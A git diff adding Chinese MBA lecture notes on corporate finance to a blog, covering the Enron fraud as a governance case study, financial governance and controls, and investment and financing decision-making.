+但是，后来居然爆出安然存在财务造假的情况。安然财务造假情况被揭露之前，它的财报显示它的业绩非常棒。这种特别棒的业绩直到2000年戛然而止。首先，当时安然的首席执行官斯基林突然辞职，干的好好的突然辞职了，市场都不理解是为什么。其实主要原因就是安然公司发展部副总裁雪伦·沃特金斯女士揭发了安然公司财务造假的黑幕。其实跟他一样的，还有另一个公司，世界通讯公司，也是由自己内部人揭发，才发现财务造假的问题非常严重。 + +除了财务造假问题，当时的“911”事件对安然来讲冲击也非常大。内、外部因素造成了在财务上的亏损问题。到最后，安然也终于承认了它的造假行为。 + +这么大一个公司，非常快的就破产了。从发现问题，到财务总监辞职，到申请破产半年多时间，12月份就提出破产了。看安然的股价、市值，它的市值最高的时候高达680亿美元。安然事件发生之后，不足2亿。安然公司2002年1月份被摘牌，收盘价0.07美分，很惨，下跌了99.92%。 + +最终，安然公司的CEO和财务总监等高管都被抓了起来，按照新的《塞班斯法案》，都被判了非常重的牢狱刑期。 + +![](/uploads/2018/10/24-13.png) + +安然都有哪些财务造假舞弊的情况呢？我们简单来看一下，比如： +·通过SPE高估利润，隐瞒负债 +·策划不具经济实质的对冲交易，掩盖投资损失 +·利用出售回购和股权转让，操纵利润 +·空挂应收票据，虚增资产和股东权益 +安然公司的财务造假情况是2000年揭发的。大家可以看一下其揭发前和揭发后财务指标的变化情况。揭发前、后数额变化巨大。比如说税前收益，变动比例是-28%，债务比例是+116%。所以大家可以看到，安然公司财务造假的力度是非常、非常大的。 + +![](/uploads/2018/10/24-14.png) + +我们通过这个案例，来体会一下，到底是什么原因造成它造假，而且造假的时间那么长，直到最后警笛者（内部揭发人员）揭发才能发现。 + +分析其成因，最根本的就是它的治理结构出了问题。也就是我们在这里所强调的一个核心——公司治理问题。 + +大家想一想，对于投资人来讲，要给你的企业投资，最关注的是什么？未来的收益。还有没有其他答案呢？对，首先关注的是得保本钱，保本是最重要的。你这个公司给我带来大收益固然开心，但是保本、保安全更重要。 + +所以，要有风险意识，要确保三个安全： +第一个安全：资本安全。资本安全了，资金才会进入企业，也就是说投资人才能够放心。 +第二个安全：运营安全。对于经营者、管理者来讲，只有运营安全了，企业才可以持续盈利。 +第三个安全：财务安全。只有财务安全了，我们的资本安全才有保障，运营安全才有基础。 +所以，大家要树立风险意识，确保三个安全：资本安全、运营安全、财务安全。 + +二．从公司治理到财务治理 + +风险问题是由时代给我们提出来的，时代在变化，我们企业在变化，问题就会出现。确保三个安全的最顶层设计其实就是公司治理结构的问题。我们要想做实公司治理，实现财务安全，我的建议是要先做好两个机制，一个转变。 + +1.权利制衡机制和激励约束机制。 + +第一个机制是权利制衡机制。首先在一个公司里，即使是一个创业型公司，只有几个人，也要谈好权利的制衡机制。譬如说，百度最初只有2个创业者，但2个创业者也要谈清楚权利制衡。股东是谁，股权怎么安排，怎么进入，怎么退出，谁来当董事长，谁来做总经理，都要讲明白，才能够保证百度能够比较安全地成长。治理结构跟大小无关。 + +所以，首先要做好的就是权利制衡机制。制衡什么？股东和股东之间、股东和经营者之间、经营者和经营者之间、经营者和业务之间，都要形成权利制衡。总体来讲，大家要有游戏规则，不能乱来，这是建立第一个机制。 + +另一个机制就是激励约束机制，股东和经营者之间只有通过设定一个激励约束机制，才能够解决代理问题。 + +2.公司治理到财务治理的转变 + +一个转变指的是从公司治理到财务治理的转变，这点也是我重点要讲的。 + +公司治理分三层，分别是股东大会、董事会和经营层，这是公司治理的一个基本框架。而我们要把公司治理转化成财务治理，要把资本抓住，就必须对这个公司治理的结构有足够的了解。 + +首先来了解一下英、美国家的治理结构，英、美国家的公司治理是单层制的，建立在信任基础上。他们认为董事会、经营层会对股东负责任，所以在所有权、决策权授予过程中间是没有隔断的。其权力的授予直接从股东大会到董事会。而至于董事会的决策是不是符合股东的利益，有没有风险，是由横向专业委员会来做决策支持和判断的。 + +而在这些支持机构中，最核心的是： +·战略管理委员会，管方向的； +·薪酬管理委员会，管人的； +·审计委员会，管钱的。 + +![](/uploads/2018/10/24-15.jpg) + +但是，如果我们再去看德、日国家的公司，德、日国家的公司使用的是双层制公司治理结构，这个结构是建立在不信任的基础上的。所以，在股东大会和董事会之间设立了监事会。大家注意，德、日的公司没有做决策支持的专业委员会这些机构，只有监事会。监事会代表股东监督董事会和经营层，从而保障股东的利益。 + +![](/uploads/2018/10/24-16.png) + +而我们国家的公司情况是既有专业委员会，也有监事会，我们是复合型的。 + +所有在股东大会、董事会、监事会和专业委员会这个范围里担任职务的人，你们就会形成财务治理的第一级，叫做出资者财务。出资者财务的财务责任是什么？就是要确保资本安全，因为公司的投融资都是财务行为。 + +财务治理第二级指的就是经营层，经营层下辖两个系统，分别是： +（1）业务系统。 +（2）管理系统。 +所有在经营层中任职的人，你们形成的是财务治理的第二级，叫做经营者财务。 + +经营者财务负有什么样的责任？就是要确保运营安全。这个层级住要解决两个问题，一是通过业务系统解决持续盈利问题，二是通过管理系统解决风控问题、风险管理问题。 + +至于业务系统如何解决持续盈利的问题，这不是我们公司金融的重点，所以我们不去过多讨论。我们更多来看的是管理系统部分，这是一个企业风险管理中最关键的系统。我们可以把管理系统进一步分为以下几个部分，分别是： + +第一个，战略管理系统。 +第二个，人力资源管理系统。 +第三个，运营管理系统。 +第四个，资本管理系统。 + +而在这里，资本管理系统就构成了财务治理的第三级，就是财务经理财务。财务经理财务要担负的责任就是确保财务安全。 + +所以，归纳一下，可以把财务总结为三个层级的财务， +第一级，出资者财务担负的是资本安全； +第二级，经营者财务担负的是运营安全； +第三级，财务者财务担负的是财务安全。 + +![](/uploads/2018/10/24-17.png) + +那我们作为管理者、企业家，尤其是创业者，该怎么解决财务这块的问题，也有几个关键的节点需要我们来把握。 + +第一个是管理体制。管理体制指的是财务管理的财权怎么分配。任何公司都有公司政治和权利之争，财务也有财权的争夺。你是采用集权、分权制，授权如何进行，如果这些问题都搞不明白，我们的财务就不用做了。 + +第二个是财务管理架构。大家可以结合自己的创业经历回想一下你的财务管理架构是怎么形成的，可能你刚刚创业的时候，你的财务经理可能就是你的太太，她忙不过来的时候你又请一个出纳，再忙不过来再请一个成本会计。投资、融资重要了，你的投资部又出来了。我们要去对外投资，你又搞一个合资资本管理公司。这个过程其实就是你不断搭建财务管理架构的过程，你需要对你的架构有足够清晰的认识和把握。 + +第三个是财务管理制度，也就是你的游戏规则要怎么设定。 + +第四个是财务管理人员，什么人能在这儿做这个事情。 + +所以，一个企业的资本管理系统，就是要想好体制、架构、制度、人员这四大关键节点要怎么做。就这四大关键节点来言，财权要分配好，体制架构要好，制度要规定好。但是最根本，最重要的还是人。你要选品质好的人，技术可以差，因为技术我们可以培养。但是品质出问题了，我们不能用。一提财务好像都是监管别人的。你去报销，财务告诉你这儿还缺几个签字，不准报销。要动用这笔资金了，财务说不可以，你还缺个手续。好像财务都是监管别人的。 + +问题是，我们这套资本管理系统出来之后，谁来监管它本身呢？ + +安然出事是谁来揭发的？公司内部做财务的人揭发的。因此，我们不仅有体制、架构、制度、人员，还要解决谁来监管资本管理系统的问题。因此，在一个企业的公司治理当中，还有两个特别特殊的角色：董秘、财务总监。 + +董秘一般下辖一个董事会办公室，这是一个非常特殊的岗位。之前，张家港有个企业启动上市，但是做着做着就做不下去了。这家企业请我过去给梳理一下。我说你既然启动上市了，那把你的董秘请过来，我们一起商量一下。那个董事长立马冲着办公室外面那间房子就招呼，小张你快进来，陈老师要跟你商量一下。 + +我一看这情况，就说，您先别让小张进来了。您叫的那是什么？是您的小秘，我们现在要请的是董秘。董秘，指的是董事会秘书，这和董事长的秘书是两个不同的概念。董秘负责董事会的内联外通，一般都是复合型人才来做的。 + +除了董秘之外，还有一个特殊的角色，就是财务总监。财务总监是由董事会聘请的，代表董事会行使财务监督权。总会（总会计师）是经营层聘请的，代表经营层来行使财务监督权。 + +由此我们来看一下，资本管理系统实际上应当是三级监管，分别是：董事会的监管，经营层的监管，还有专业委员会（审计委员会）的监管。 + +我是中国最老资格的独立董事了，每一次都在审计委员会这个位置上，当审计委员会主席。内审、外审、内控部门都在审计委员会领导之下。 + +![](/uploads/2018/10/24-18.png) + +我们通过对公司治理结构的梳理，画出这么一幅图来厘清每个层级对财务的监管情况，把公司治理转化成为财务治理，这是我们确保财务安全的先决条件。不然你不清不楚地去搞，又是一笔糊涂账。 + +但是，有同学有话说了，陈老师，我们公司还太小。你这一画出来，好大的一个，离我们的实际情况得太远了。其实真的不远，无论公司多么小，五脏俱全，同样需要财务的运作，同样需要防范风险。 + +有的同学又说了，我们是民营企业，我们没有权利之争，有没有？一定有。而且在某种程度上，比国有企业解决起来还麻烦。为什么？国有企业董事长和总经理有权利之争了，一个调令总经理调走了。你们的公司是什么？老公就是董事长，老婆就是财务总监，调谁走？没法调。 + +怎么解决？在某种程度上，民营企业的权利之争就是家族内部之争，更难解决。所以，越早建立这种权利的制衡机制，越早完成从公司治理到财务治理的转变体系，公司越安全、越久长。所以，这跟你公司性质无关，也跟大小无关。 + +但是毕竟我们公司还是比较小的，搞这么一套复杂的东西，显然也不现实。所以，我的建议是先理念，后操作。怎么操作？伴随着公司的发展，缺什么，补什么。发展到哪个阶段，就把哪个阶段的治理结构补齐。而不是一上来，就是一个大而全的整体架构，那你也搭不起来。但是，首先还是希望大家有意识，能够确保公司整体的安全，这就是风险防控最顶层的设计。 + +三．财务责任与财权分配 + +从公司治理到财务治理，我们要落到实处。大家刚才只是看到了三级管理的大框架，下面我们就要来明确哥哥公司组织与财务责任之间的关系。这里我把每一级的财务责任都给大家固定下来，方便大家理解和落实。 + +![](/uploads/2018/10/24-19.png) + +我们从公司组织最下边的作业单元开始明确，作业单元一般就是我们的子公司、分公司，它们的财务责任就是降本增效。就是要去增加收入，同时减少成本费用，称之为降本增效。 + +经营层的财务责任就是要保证营运资本充足，营运资本就是一个活水，我有活的钱来发工资，支付税费，买材料，这是营运资本，这是经营层、总经理来负责任的事情。 + +董事长、股东的财务责任是投资、融资。有句话说的挺有意思，叫做“企业不投资是等死，投资是找死”。所以投融资是公司在战略层面的决策，是董事会、股东大会要负的财务责任。 + +既然要负责任，就要有对应的权利，责、权、利要明确。这里也从投资者、决策者、经营层、作业层几个层面分别帮大家明确了财权主体、权控对象、管理目标、治理特征。我非常明确把这些财务责任给大家固定在这儿，大家对号入座，你在哪一级，负责什么样的财务责任，你就应该一目了然了，直接照着这个去做。 + +![](/uploads/2018/10/24-20.png) + +对于投资者来讲，投资者是所有者，拥有所有权，要控制的是资本，确保资本安全，保值增值。但是，你买了它的股票，你贷了款，跑他们公司天天坐着也没有用。所以投资者的治理特征是间接控制，只能通过独立董事来进行治理。独立董事是代表中小股东的，就是中小股东的一种间接控制的方式。 + +决策者，是我们的董事会。决策者要管控负债和权益，管理目标是优化资本结构，它的治理特征是决策控制。 + +经理层的治理特征是成本控制，降本增效。总经理管控的对象是有形和无形的资产，资本运营效率是它的管理目标。把100亿的资产交给你经营，你带回来的收益一年有多少？有多少次？看的是你的效率。 + +而作业单元，财务经理的职务是最职业、最专业，也是最地道的，就是管好资金周转，提高现金收益，做好财务管控。 + +这里要插一个题外话，因为我总会被问到一个问题，这个问题我也问给大家。 + +在你的公司里头，财务人员的工资在整个工资水平里，算高的、中的、低的？ + +总体来讲，大多数企业的财务人员，工资是往往中等偏下的。因为在我们在座各位管理者、企业家的直觉中，财务人员既不生产产品，又不卖产品，夏天还在空调的房间里待着凉快，冬天还可以取暖，哪儿有销售人员那么辛苦。没有创造收入，还得领工资，那就是光有成本。所以，大家都会觉得财务管理人员是不创造价值的，工资就低点吧。 + +大家可以看看自己的企业，问问自己实际情况是不是这样的？除非是你自己的太太当了财务总监，你可能才会给出高工资。很明确告诉大家，觉得财务人员没有创造价值，所以就该工资低，这种想法不对。我们中国有一句老话：“钱不是万能的，没有钱也是万万不能的”，所以财务往大了说还负有投资、融资、资金管理的职责，把资金融进来，投出去，又管得好，大家想财务是不是在直接创造价值？ + +尤其对创业企业来说，经历了天使轮，A轮、B轮、C轮，一直到上了市。每一次融资，公司的价值都提升了一次。融资的过程，也是重新给公司估值的过程。所以，能说我们的财务不创造价值吗？显然财务也在直接创造价值。 + +所以，我特别呼吁，新加坡讲什么？高薪养廉。我的建议是高薪养会计，起码就你公司那点底儿，会计人员清楚的很。从安全角度，会计需要高薪，因为他们也在直接创造价值，这是我很诚恳的一个建议。 + +往深了说，这其实是一个我们如何看待财务的问题。财务就只是出一个报表吗？显然不是的。首先，客观上，我们说会计技术，会计是最好的商业语言，是一门技术，会计人员其实是技术工种。会计技术有它的局限性，我们公司不想做假账，我们公司所有东西都是真的。但出来的会计结果、会计报表和真实的经营之间，也是有差异的，这是一个客观存在的情况。会计技术是可以尝试控制这些在时间、内容、空间上产生的差异的。 + +我们绝不要做假账，但是主观上，我们说公司如果是一个人，也是要追逐利益的。因此，任何企业都有权按照自己的利益报送报表，披露利润。但是，要有底线！底线在哪儿？在法律、在制度、在方法的选择。一个好会计，会考虑时事，会考虑《税法》等相关法律，也会考虑企业的发展，会考虑到老板的需要，综合这些所有的考虑去把财务管控做好。 + +所以，好会计是无止境的。但是水平差一点的会计什么样？把老板都送到监狱里去了，他还没明白什么原因，到处问，咱们老板怎么进监狱了？其实根本是财务没有把好关，财务控制这块没有做好。 + +大家注意，在作业层面，财务总监控制资金周转，管理目标是提高现金收益，最终保证控制住财务。这是非常重要的过程，所以，财务安全是资本安全的保障，也是我们运营安全的基础。大家想，一个企业做不下去的最直接导火索，往往都是现金枯竭了，资金链断了。 + +四．财务管控的原则与措施 + +财务控制、财务管控，确保财务安全，无疑是公司治理的关键一环。所以，针对财务管控，这里我从原则和措施两个方面来给大家构建财务安全的体系。 + +1.财务管控的原则 + +首先，大家要记住落实财务管控，防范财务风险，确保财务安全的原则，一共有四条，详细内容请大家看我的PPT，我嘴里说的是每一条原则的本质和内涵。 + +第一，以制度理财。 +你的太太当财务总监固然好，但需要制度理财。没有规矩不成方圆，仅建立规则远远不够，企业在理财过程中应坚持不懈，不折不扣执行这些规则。 + +第二，以统管聚财。 +以前财务很难做到集权管理，但是随着现代信息技术的发展，技术已经开始支持财务的集权管理了。集权管理有利于加速资金周转速度，降低成本和财务风险。 + +![](/uploads/2018/10/24-21.png) + +第三，抓龙头控财。 +什么是财务控制的核心，现金流就是中心，就是龙头，我们之前把现金流形容成为企业的血液，是企业生存的必要元素，就可以证明企业的信用和实力。 + +第四，用指标管财。 +指标管财其实就是全面预算管理。有的同学说了，全面预算就是财务的事，跟董事长、总经理没有什么关系，财务人员把全面预算做好就行了。大家注意，这是一个错误的理念。全面预算是根据生产状况和生产经营指标，在效益最大化的原则下确定实物工作量和货币资源的优化配置。 + +做好全面预算，是可以达到“整合四流、创造一流”的境界的。所谓整合四流指的是整合业务流、物流、资金流、人力资源流。创造一流指的是创造现金流。 + +而无论是整合四流，还是创造现金流，都是我们创业中的董事长、总经理的财务责任，然后才是财务部如何来组织实施的问题。所以，在全面预算中，财务要退居二线，全民预算管理的原则是： + +谁干事，谁来做预算； +干多少事，做多少预算； +谁主导做的预算，谁来负责任； +谁执行的预算，谁来受奖罚。 +最终是和绩效、和工资、奖金、提成、红利相联的。所以，要用指标来管企业，管财。 + +![](/uploads/2018/10/24-22.png) + +2.实施财务控制体系的措施 +在清楚了财务管控的原则之后，大家要理解和学会实施财务控制体系的三大措施。同样的，详细内容看我的PPT，我说的是这些措施的关键和要点。 + +第一个措施，建立多元的财务监控措施。 +我们要用信息化、IT的手段，用授权管理、多元稽核、定期审计、不定期抽查等措施来贯彻到我们前面说的三级监管当中，把这些手段都落实到我们的治理结构当中。 + +![](/uploads/2018/10/24-23.png) + +第二个措施，设立循序渐进的多环节财务控制防线。 +首先是一线，就是对财务本身，对资本管理系统本身的监管。这个一线的监管我们前面讲到了，分为三级监管，CFO、总会计和审计委员会都要监管，是一个纵横相错的、双职双责的控制体系，避免一事单管，做到纵横核对，相互制约。 + +然后是二线，扩大到作业层之外，把业务层叠加进来，建立基于预算和目标管理的控制体系。 + +![](/uploads/2018/10/24-24.png) + +其实还可以建立三线，就是对分公司、子公司也进行管控。 + +![](/uploads/2018/10/24-25.png) + +这个三线监管，其实形象化出来就是一个越来越大的三层圈，最核心处事对财务本身的监管，拓展一圈防线是对公司日常经营层的监管，再拓展一圈就是对分公司、子公司的监管。我有时候也把这种防线叫做三个圈的管控模式，就是第二个措施。当然，这种防线的建立也是需要随着公司的不断发展逐渐建立的。 + +第三个措施，建立全方位的财务控制体系。 +全方位的财务控制体系是对整个的业务过程的控制。我们说运营管理三件事，分别是经营活动、投资活动和融资活动。那么围绕着经营活动、投资活动和融资活动，我们就要做防控。同时，对目标我们也要做防控，用目标来牵引我们整个的管理。 + +![](/uploads/2018/10/24-26.png) + +总结一下，同学们应当对自己的企业建立多元的、多环节的、全方位的、纵横交错的财务管控措施。大家一定要注意，越早做，越好！越早建立游戏规则，大家就越早能够习惯他，确保财务的安全。 diff --git a/_posts/2018-10-24-296-gsjrx05.md b/_posts/2018-10-24-296-gsjrx05.md new file mode 100644 index 0000000..e979455 --- /dev/null +++ b/_posts/2018-10-24-296-gsjrx05.md @@ -0,0 +1,331 @@ +--- +layout: post +title: 【公司金融模块】 第5节 投融资决策与企业价值管理 +pid: 296 +tags: [mba] +--- + +《公司金融学》 + +陈晋蓉----清华大学经济管理学院 + +# CHAPTER 5: 投融资决策与企业价值管理 + +承接上一节课所说的公司金融“1214战略”，上节课我们重点讲了如何将公司治理转换为财务治理，这节课我们先来看公司金融的两条主线：投资、融资。 + +![](/uploads/2018/10/24-27.png) + +一．投融资的理念 +首先，整体来看一下企业的投融资，然后再分别来看。投融资是在风险和收益之间平衡的一个过程。我们投资总希望获得的收益越高越好，但是高收益就意味着高风险，所以做与不做，怎么做，这就是大家最难的地方。 + +投融资决策对于任何一个企业家来讲，都不是一件容易的事。我特别强调理念问题，投融资的理念有三句话。 + +第一句话：好投资决定了融资的难易程度。 + +什么意思？大家想为某个项目融资，这个项目本身能不能盈利，怎么经营，怎么管理，是不是一个问题？如果我给你提供了资金，这个项目本身有问题，不能给我们带来预期收益，没有投资人会给你投资的。所以，融资一定要前置到投资中去，要先想好我们怎么投，怎么花钱，然后再来想怎么融资的问题。 + +不能我随便弄一个项目，就能骗点钱来，中国早就过了忽悠一把就能拿钱的时代，大家都是非常冷静地在思考。所以，第一句话，好投资，决定了融资的难易。融资，一定要前置到投资中去。 + +第二句话：唱好三支歌。 + +我的课讲的都非常通俗，是为了让大家能够最轻松的听懂。这三支歌都有理念在里头，特别重要。 + +第一支歌，《国际歌》。今天的课是在长沙讲的，在座的都是长沙的企业家，假设大家在长沙投了一个项目，但是仍然需要大家具有国际视野。即使今天特朗普在反全球化，但是全球化已经成为今天的格局了，不可能再退回去。所以，大家一定注意，我们任何一个投资，都要放到国际大市场去上考虑。 +第二支歌，《国歌》。《国歌》中的歌词说“中华民族到了最危险的时候”国歌大家都会唱，重点强调这句歌词的意思是强调大家要有投资的风险意识，任何一个投资，都要先考量风险。 + +第三支歌，《没有共产党，就没有新中国》。这首歌看似特别政治化，但是它说出了一个朴素的道理，就是核心竞争力的重要性！是否投资一个项目，要看它有没有核心竞争力，没有核心竞争力，那就放弃这个项目。或者通过你的投资，没能去提升核心竞争力，就也不是一个好项目。 + +这就是唱好三支歌，是让大家具备国际事业、具有风险意识，以及具备注重核心竞争力的投融资决策。 + +第三句话：提升核心竞争力的投融资决策模型 + +基于上述的共识，我们就要建立一个基于培养核心竞争力、提升核心竞争力的投资、融资模型。这个模型要怎么来理解呢？ + +第一个维度，要从战略规划来考量投资决策。在前面讲资本战略的时候，我们强调过所有钱都要花在战略层面上。所以，我们要按照公司的战略规划去寻找投资项目。反过来讲投资项目能不能做，要用战略规划来评价它。不符合公司的战略规划的，就不是好项目。 + +在操作层面，项目要能拿出整个投资决策方案。方案包括了投资方案、融资方案、风险管理方案。我们通常会有投资方案，也会有融资方案。但是，往往会忽略风险管理方案，这是我要特别强调的。 + +第二个维度，融资和运营决策的问题。我们企业的融资决策要考虑时机、方式、规模，这是融资的三要素。 + +在什么时机下去融资，时机不同，选择的方式不同，融资的规模也就不同。融来资金如何花，如何管，也可以理解为运营决策就是对融来资本的使用问题。这里又可以分为两部分，分别是项目资金的管理和生产日常资金的管理，如何最优匹配这些资金是关键。大家既要保证项目的正常开展，又要保证企业的日常生产经营能够进行下去。所以，运营决策要保证先维持生产运营，后项目开展的最基本原则。 + +第三个维度，是否提高公司价值。所投项目是否提升了公司的价值是判断是否符合提升核心竞争力模型的另一个关键。 + +比如说青岛啤酒，如果用政治来断代，解放前由德国的日尔曼啤酒厂投资到中国来，解放后变成了国营，然后又变成了国有，然后又变成了股份公司，这是成长路径。它是中国第一支同时在香港和上海上市的公司，A股、H股同时上市。 + +所以，大家喝青岛啤酒你会感觉到特别厚重，因为从德国来的。而我们更多是讲清香那样的。好了，当我们整个啤酒市场放开之后，面临了一个挑战，青岛啤酒龙头老大的地位受到了挑战。因为啤酒这个产业，其实特别具有区域性特征，每一个地区都有自己的啤酒企业。所以，当啤酒市场一放开，各地的啤酒公司雨后春笋一样，一个冒一个，一个冒一个，虽然规模不大，但总量巨大，就挑战了它的市场。由此，整个青岛啤酒业绩下滑，市场份额降低，整个公司投资价值降下来了。怎么办？他们采用了并购的方式。在不到2年时间里头，连续并购了43家啤酒公司。各个地区连续并购，他希望通过这种并购，来整合整个啤酒企业，都变成它的了，竞争对手就减少了。 + +但是，当这个消息同时在A股和H股公布的时候，A股青岛啤酒的股价一下上去了，而在香港的H股价立马跌下来了。投资人对于大家的投资、融资是不是真正提升公司价值，判断是不一样的。在中国大陆，因为炒股的投资人往往都是散户，大家凭直觉，哇！它一下收购了45个啤酒企业，业绩一定能提升，市场份额一定能保住，所以中国大陆投资者认为青岛啤酒的价值是提升的。 + +而香港股市，更多是机构投资者，更理性，会经过分析、判断，最后判断它收购这些啤酒企业，不能够提升青岛啤酒的价值，反而是要削弱、降低青岛啤酒的价值，所以股价出了收购五星啤酒，股价是涨的，其他都是下降的。 + +所以，大家看一下当我们做投融资的时候，一定是出发于核心竞争力，目标一定是提升公司价值。这是投融资决策模型的第三个维度。 + +第四个维度，看重财务分析。我们要时刻关注每一轮投融资做得好不好？有什么问题没有？下一轮我们再做的时候，怎么改进？我们投融资不能只管生，不管养，还得养好。所以，我们要做财务分析。一是对投资过程的分析，一是对投后管理的分析。这样才能能够评判这个项目给我们带来的收益。 + +![](/uploads/2018/10/24-28.png) + +二．投资决策与融资决策 + +以上是整个投融资决策的模型，虽然更多的是理论，但在这些理论中蕴含了大家的操作规则。下面，我们再分开来看一下投资和融资。 + +1.投资 +1.1投资决策的战略思考 + +首先来看一下投资决策的战略思考。在整个价值管理中，投资是一个价值倍增的过程，非常好理解。我们现在有一条生产线，产能是多少，售价是多少，大家很清楚。通过我的投资，再增加一条生产线，我就翻倍了，所以投资是价值倍增的过程，这是通过外延来提升公司竞争力的一个过程。当我们来考虑投资决策的时候，建议各位，在战略层面上进行三个思考： + +思考一：你的钱应该怎么用？ +思考二：你的资产应该怎么管？ +思考三：你的企业应该怎么做？ + +投资是关于企业成长的，所以要解决这三个问题。我们来看香港李嘉诚的儿子李泽楷，他是怎么解决这三个问题的。 + +李泽楷从1990年，从父亲的长江出来自己创业。创业的时候，他做了一件事情，先跟李嘉诚的企业借了1.25亿美元，收购了星视（Star TV）。收购是投资的一种方式。他经营了星视3年，最后把它卖给了默多克。卖了多少钱？9.5亿美元。而且是在星视巨亏的情况下卖掉的。 + +大家体会一下，他做企业的过程，商业模式是什么？买企业，做企业，卖企业。因为公司是商品。 + +有的同学会质疑，说他借了1.25亿，9.5亿卖了，还说他是巨亏，还不是有李嘉诚这样一个老爸？大家想，默多克是全球最精明的商人，他会不会因为李泽楷是李嘉诚的儿子，就多点钱来收购星视？不会。为什么经营3年，1.25亿投的，最后融资卖掉它的时候9.5亿，而且是在亏损情况下。这里头其实涉及了我们在下一个环节里头要讨论的公司价值问题。 + +公司价值，一是过去，二是未来。李泽楷收购了星视之后，在业务层面上做了两件事情，提升了星视的投资价值。 + +第一件事：星视有华语部分，在收购之前，不容许在中国大陆来播放。大家想想华语电视，还不能在一个十多亿的市场上播放，是不是有问题？李泽楷在收购星视以后，拿到了在中国大陆的播放权。大家想光这一个播放权就是无价之宝。从这个角度来讲，我说他还卖便宜了呢。 + +第二件事：大家想一个电视台、一个媒体靠什么活着？广告，靠广告活着。我想问大家，你们做广告选择电视媒体，这个电视台才500多万用户，那家电视台5300万用户。你们到哪儿去做广告？显然受众越多，广告影响越大。当李泽楷离开的时候，用户已经从500多万发展到5300多万用户。所以，虽然是亏损，但是预期好，更具投资价值。 + +所以，三个问题回归到做企业上来，这是我们投资决策在战略层面的考虑。在战略层面是投什么，不投什么是一个布局，是一个结构，是一个企业成长的问题。 + +1.2产业底蕴的修炼 + +下面讲一下产业底蕴的修炼。投资是一个选择的过程，选我们能够进入哪个行业，不能够进入哪个行业，我们在这个行业里头，是一个龙头老大的位置，还是一个跟随的位置，都要进行选择。所谓决策，就是一个选择的过程。而这种选择，准确不准确？跟我们产业底蕴厚实不厚实，有着直接关系的。 + +所以，我们要来讲一讲产业底蕴的修炼。从公，可以让我们的投资决策做得更好；从私，可以让我们的个人理财做得更好。 + +产业底蕴的修炼，建议大家从四个方面开展： + +第一方面：产业理论的学习。 + +大家不是学者，所以大家产对业理论的学习，要把握两个关键点： + +首先，这个产业的技术特征是什么。因为技术决定了你能不能投。比如说我给一家公司做顾问，它是做能源的公司。他们要收购一个储能公司，做能源的收购储能公司，好像是很好的一个收购。尤其是电能的储备是最大的问题，新能源汽车开着开着没有电了，这是一个很大的问题。 + +因为我是这个公司的顾问，这个公司派他们投资总监到清华来跟我谈，打算怎么收购，交易结构是什么，对价是什么，怎么谈判，还希望把价格降低一点。我跟他说：你先别跟我谈怎么收购，先来跟我讲一讲，你收购的储能公司技术是哪个方向的，哪一派的。一下子把投资总监问愣了，他说：陈老师，我们做投资的，所以对技术我们没有更多去管，业务人员说能做，就OK了。 + +大家注意，所有在座做投资的同学，你要投资，你却连技术特征都不知道，如何来投？而作为储能有两大流派，就像我们的手机软件也是两大流派，你投错了，大家都不推崇，就很难发展。 + +比如长虹，长虹在最初的发展非常好，为什么干不过三星？也是在技术选择上有失误，首先第一是技术特征。 + +其次，你要学它的经济特征。经济特征决定了你可不可以盈利。产业底蕴修炼的第一个方面，是产业理论的学习，万事躲不过一个“理”字，这是产业底蕴修炼的第一方面。 + +第二方面，产业历史的研究。 + +这个产业从无到有，怎么发展过来的？过程中有什么沟沟坎坎，哪些企业做得好，哪些企业消亡了。拿手机来讲，当我们今天再说摩托罗拉的时候，都是一种感叹了。而我们最初人手一份，不是诺基亚，就是摩托罗拉，所以我们要研究产业历史，而它的关键点在哪儿？大家想一想，产业的发展是谁在推动？是在座各位企业家、企业。 + +所以，产业历史的研究，更多要研究你的竞争对手，这个行业中的先行者。打仗总知道对手是谁吧？这就是产业历史的研究。 + +第三方面，产业现实的调查。 + +现在怎么样了？它很重要，如果你不知道现在的状态，噗通！就杀进去了，跳到海里头了，也许就是红海，把你给淹死了。所以产业现实的调查，要找到我们公司的切入点。我们公司在哪个地方切入，找到我们进入的蓝海，确保我们的投资是成功的。 + +第四方面，逻辑思维。 + +产业理论、产业历史、产业现实的学习和调研之后，通过逻辑思维升华为公司的战略、公司的商业模式，落地，才真正让大家有利润、有发展、有预期。 + +所以，逻辑思维非常重要。之前一个成都的老板，跑到我的清华教室去找我。我说我下午还有课。他说：陈老师，没关系，我等着你。没办法，晚上他请我吃饭。我问他：你这么急过来，我能帮你什么？他就开始讲，讲第一遍，我没听明白我能帮他什么。注意啊，没有任何语言障碍，我就是成都人，老家就是成都的，所以没有任何语言障碍。你听他讲这儿讲那儿，不知道说什么，特别混乱。 + +我又换了一个角度再问他：你这么急过来，想解决什么问题？又来一遍，我还是没听明白。这么一边吃着饭，一边聊着天，我就跟他梳理，折腾了差不多5、6遍，我才明白他到底要干什么。大家想想，如果见投资人，投资人早就气跑了，不会像老师这么耐心来分析的。 + +所以，大家想作为一个企业家，把战略、商业模式想清楚，想明白，然后讲清楚，还得写漂亮。因为投资人先看你的商业计划书，这是三个能力、三件事。想明白未必讲得清楚，讲得清楚也想得明白，未必写得漂亮。最关键是逻辑思维。 + +所以，我教育我的孩子，教育我的学生，当你入学学这个专业，是不是自己选的。好了，静心学，如果觉得不喜欢，还可以换专业。 + +但是，在学专业的同时，我建议他们： +第一，要多读文学的书。 +第二，多读哲学的书。 + +专业是你自己选的，毕业的时候你有专业的能力，而多读文学的书，让你有很好的文字表达能力，而哲学让我们思辨，形成良好的逻辑思维能力。 + +所以，一个毕业生，什么叫做毕业？专业能力+逻辑思维能力+文字表达能力，那才叫毕业。我们去研究一个产业，也需要我们借助逻辑思维能力。把我们在前边所有研究，幻化成为你的战略、你的商业模式，并且落地。 + +所以，产业底蕴越厚实，你的选择、你的决策会越正确，会减少我们投资中的风险，这是产业底蕴的修炼的。从个人理财来讲，产业底蕴如果很厚实，选股票、买基金，也会相对判断分析更准确。 + +1.3新时代的机会 + +再有，要发现有价值的投资。在PPT中，我给大家归纳了产业投资的机会和金融投资的机会，这些都是很好的机会。 + +![](/uploads/2018/10/24-29.png) + +但是，上面的这些好机会适合你吗？不一定。 + +所以，我们要做好机会分析。也就是说，不关你事要做产业投资，或者是做金融投资，这都是大家的选择。但是你认为好的，你一定要能够说明白为什么好？所以要进行投资分析，投资分析是很大的一个篇章，专业性很强，我们今天不讲太细。 + +但是，这种分析非常重要。做好分析，才能够确定好项目。当我们做投资决策的时候，有三个关键点大家要把握： +·现金流； +·期限收益率； +·风险特征。 + +这是投资决策的三个关键点。 + 